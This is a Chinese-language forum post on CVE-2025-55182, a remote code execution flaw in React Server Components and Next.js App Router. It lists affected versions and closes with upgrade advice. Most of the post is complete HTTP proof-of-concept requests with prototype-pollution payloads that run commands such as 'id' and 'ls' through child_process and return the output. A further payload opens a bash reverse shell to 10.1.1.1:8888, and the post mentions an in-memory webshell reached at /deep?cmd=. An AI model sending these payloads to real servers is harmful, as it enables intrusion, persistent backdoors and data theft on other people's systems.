找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

389

积分

0

好友

53

主题
发表于 昨天 01:13 | 查看: 20| 回复: 0

CVE编号CVE-2025-55182

受影响范围

根据安全研究团队的公告,该漏洞影响特定版本的React及相关服务端解析包。

受影响的React版本:

  • React 19.0.0
  • React 19.1.0
  • React 19.1.1
  • React 19.2.0

受影响的NPM包:

  • react-server-dom-parcel
  • react-server-dom-turbopack
  • react-server-dom-webpack

受影响的Next.js版本: 使用React Server Components和App Router的Next.js应用程序在以下版本中受到影响:

  • Next.js v15.0.0 - v15.0.4
  • Next.js v15.1.0 - v15.1.8
  • Next.js v15.2.x - v15.5.6
  • Next.js v16.0.0 - v16.0.6
  • Next.js 14.3.0-canary.77及后续canary版本

不受影响的Next.js版本:

  • Next.js 13.x(所有版本)
  • Next.js 14.x稳定版
  • 使用Pages Router的应用程序
  • 使用Edge Runtime的应用程序

重要提示:只有同时使用了React Server ComponentsApp Router的Next.js应用才会受到此漏洞影响。

受影响版本示意图

该漏洞的潜在影响最初由安全研究人员预警,由于Next.js应用在公网存量巨大(可通过header="Next.js" || body="/_next/static"等特征识别),结合部分知名应用框架(如Dify)也基于受影响版本构建,使得该漏洞的实际威胁范围较广,被评估为高危漏洞。

漏洞影响示意图

漏洞复现与验证

基础POC

以下HTTP请求可用于验证漏洞是否存在,其原理是构造特定的序列化载荷,利用React 19.0.0版本中的原型链污染缺陷,在服务器端执行任意命令(此处为执行id命令)。

POST /apps HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Next-Action: x
X-Nextjs-Request-Id: ungqoyah
X-Nextjs-Html-Request-Id: zTBfMjKDeKps9lK2x4Vby
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 705

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res = Buffer.from(process.mainModule.require('child_process').execSync('id')).toString('base64');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

POC请求示意图

可回显的POC

通过修改载荷中的命令,并将执行结果通过重定向错误信息携带返回,可以实现命令执行结果的回显。

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res = Buffer.from(process.mainModule.require('child_process').execSync('ls')).toString('base64');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

命令回显示意图 响应结果示意图

深度利用示例(概念验证)

更进一步,攻击者可以尝试在Node.js服务器进程中植入持久化的后门。以下载荷演示了通过反弹Shell建立连接,这突显了在服务器端执行环境下RCE漏洞的严重性。

POST /apps HTTP/1.1
Host: 127.0.0.1:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 800

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.1.1.1/8888 0>&1\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

在成功植入内存马后,攻击者可以通过访问特定路径(例如/deep)并传递参数来执行后续命令。

GET /deep?cmd=ls HTTP/1.1
Host: 127.0.0.1:8888
Upgrade-Insecure-Requests: 1
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

内存马利用示意图

安全建议

  1. 立即升级:所有使用受影响版本的Next.js项目,应尽快升级至已修复的安全版本(Next.js v15.5.7, v16.0.7 或更高版本)。
  2. 检查依赖:确保项目中的reactreact-dom及相关服务端渲染包已升级至安全版本。
  3. 最小化攻击面:在应用层和网络层对用户输入进行严格的校验和过滤,特别是对Next-Action等头部字段的处理。
  4. 关注官方通告:密切关注Next.js及React官方的安全公告,以获取最新的修复信息。
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-8 12:18 , Processed in 0.062068 second(s), 35 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表